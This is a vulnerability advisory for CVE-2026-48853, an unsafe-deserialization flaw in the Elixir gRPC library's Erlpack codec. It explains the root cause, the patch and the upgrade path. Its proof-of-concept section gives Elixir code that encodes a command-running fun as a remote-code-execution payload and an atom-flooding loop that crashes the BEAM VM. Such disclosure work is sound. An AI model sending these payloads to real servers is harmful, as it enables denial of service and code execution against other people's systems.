CVE-2026-48853: erlang/grpc Unsafe Deserialization Leading to RCE and DoS
The Erlpack codec in the Elixir gRPC library deserializes attacker-controlled network data without any safety guards, letting an unauthenticated remote caller crash the entire server or execute…

The problem
GRPC.Codec.Erlpack.decode/2 calls :erlang.binary_to_term/1 on the raw gRPC message body with no :safe flag, no size limit, and no type validation. Any unauthenticated peer that can send a request with Content-Type: application/grpc+erlpack can exploit this.
There are two independent attack paths. First, a payload encoding large numbers of fresh atoms saturates the BEAM atom table (~1,048,576 entries, never garbage-collected) and crashes the entire VM. Second, a payload encoding a fun term gives the attacker code execution inside the server process if that decoded value is ever invoked downstream.
The codec is not enabled by default, but any server that adds GRPC.Codec.Erlpack to its codecs option is fully exposed.
Proof of concept
A working proof-of-concept for CVE-2026-48853 in grpc, with the exact payload below.
# Step 1: generate the malicious gRPC body in Elixir/Erlang
# RCE path: encode a fun (anonymous function) as a binary
malicious_body = :erlang.term_to_binary(fn -> System.cmd("id", []) end)
# Step 2: wrap in a gRPC frame (1-byte compressed flag + 4-byte big-endian length)
frame =
<<0::8, byte_size(malicious_body)::32>> <> malicious_body
# Step 3: send over HTTP/2 to any RPC endpoint on the target
# POST /<package>.<Service>/<Method> HTTP/2
# content-type: application/grpc+erlpack
# (body = frame above)
# DoS path: flood with fresh-atom payloads
for i <- 1..1_048_576 do
atom = String.to_atom("x#{i}")
:gen_tcp.send(sock, grpc_frame(:erlang.term_to_binary(atom)))
endThe root cause is a bare :erlang.binary_to_term/1 call with no options. The BEAM deserializer is Turing-complete by design: it faithfully reconstructs any term type, including funs (closures with embedded bytecode) and atoms, from wire bytes.
The patch applies two independent guards. It switches to :erlang.binary_to_term(binary, [:safe]), which prevents the creation of new atoms from the wire and blocks the DoS path. It then inspects the decoded term and raises if it contains a fun, pid, port, or reference, because :safe alone does not block fun materialization on every OTP release, and a materialized fun reaching any call site that applies it is enough for RCE.
CWE-502 (Deserialization of Untrusted Data) and CWE-770 (Allocation Without Limits) both apply here as separate exploitation paths from the same missing option.
The fix
Upgrade the grpc Hex package to version 1.0.0 or later. The fix is in commit 272a97a5. If an immediate upgrade is not possible, remove GRPC.Codec.Erlpack from the server codecs list entirely, since the codec is opt-in and not loaded by default.
Reported by Peter Ullrich.
Related research
- highCVE-2026-48854CVE-2026-48854: elixir-grpc Unbounded Request Body Memory Exhaustion
- highCVE-2026-53430CVE-2026-53430: elixir-grpc Unbounded gzip Decompression Bomb (DoS)
- highCVE-2026-48597CVE-2026-48597: Tesla Mint Adapter BEAM Atom Table Exhaustion via Untrusted URL Scheme
- highCVE-2026-49754CVE-2026-49754: Mint HTTP/2 CONTINUATION Flood Memory Exhaustion